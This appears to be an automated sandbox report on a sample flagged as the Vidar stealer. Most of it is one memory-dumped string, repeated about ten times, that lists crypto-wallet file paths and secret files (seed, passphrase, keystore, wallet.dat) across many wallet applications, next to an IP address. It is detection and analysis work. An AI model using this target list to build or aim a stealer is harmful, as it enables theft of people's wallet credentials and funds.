Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3040, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Electrum-LTC\wallets\.
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 